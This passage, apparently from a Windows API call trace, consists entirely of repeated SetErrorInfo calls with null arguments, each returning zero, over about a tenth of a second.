perrinfo=0x0) returned 0x0 [0064.613] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.613] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.614] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.614] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.614] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.615] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.616] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.616] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.616] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.616] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.617] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.617] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.619] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.620] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.620] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.621] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.621] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.621] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.622] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.622] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.623] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.623] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.623] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.624] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.624] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.625] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.625] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.625] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.625] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.626] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.626] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.626] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.626] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.627] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.627] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.627] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.628] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.628] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.628] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.628] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.629] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.629] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.629] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.630] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.630] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.631] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.631] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.632] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.632] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.633] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.633] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.634] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.634] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.635] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.635] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.636] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.636] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.637] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.637] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.637] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.637] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.638] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.638] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.638] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.639] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.639] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.639] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.640] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.640] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.640] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.641] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.641] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.641] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.642] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.642] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.642] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.643] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.643] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.643] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.643] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.644] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.644] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.644] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.645] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.645] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.645] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.646] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.646] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.646] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.647] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.647] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.647] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.647] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.648] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.648] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.662] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.662] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.663] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.663] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.663] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.664] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.664] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.664] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.665] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.665] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.666] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.666] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.666] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.667] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.667] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.667] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.668] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.668] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.668] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.669] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.669] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.669] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.670] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.670] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.670] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.670] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.670] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.670] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.671] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.671] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.671] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.671] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.672] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.672] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.672] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.673] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.673] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.673] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.674] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.674] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.675] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.675] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.675] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.676] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.676] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.676] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.676] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.676] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.676] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.676] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.677] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.677] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.678] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.678] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.678] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.678] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.679] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.679] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.680] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.680] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.680] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.681] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.681] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.682] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.682] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.682] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.684] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.684] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.684] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.685] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.685] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.686] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.686] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.686] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.686] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.687] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.687] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.687] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.688] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.688] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.689] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.689] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.689] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.689] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.690] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.690] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.690] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.691] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.691] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.691] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.692] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.693] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.693] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.693] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.693] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.693] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.693] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.693] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.693] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.694] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.694] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.694] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.694] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.694] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.694] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.694] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.694] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.695] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.695] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.695] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.696] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.696] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.696] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.696] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.697] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.697] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.697] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.698] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.698] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.698] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.699] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.699] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.699] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.700] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.700] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.700] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.700] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.700] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.700] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.700] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.700] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.701] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.701] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.701] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.701] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.701] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.702] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.702] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.702] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.703] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.703] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.703] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.704] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.704] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.704] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.704] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.705] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.705] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.705] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.706] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.706] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.706] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.707] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.707] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.707] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.707] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.707] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.708] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.708] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.708] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.708] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.710] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.710] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.711] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.711] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.711] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.711] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.712] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.712] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.712] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.712] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.713] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.713] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.713] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.714] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.714] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.714] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.715] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.715] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.715] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.715] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.716] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.716] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.716] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.716] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.716] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.716] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.716] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.716] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.717] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.717] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.717] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.717] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.718] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.718] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.718] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.718] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.718] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.719] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.719] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.719] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.719] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.720] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.720] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.720] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.720] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.721] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.721] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.721] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.721] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.721] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.722] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.722] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.722] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.722] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.723] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.723] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.723] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.723] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.724] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.724] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.724] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.724] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.725] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.725] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.725] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.725] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.726] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.726] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.726] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.726] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.727] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.727] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.727] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.728] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.728] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.728] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.728] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.729] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.729] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.729] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.729] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.730] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.730] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.730] SetErrorInfo (dwReserved=0x0, 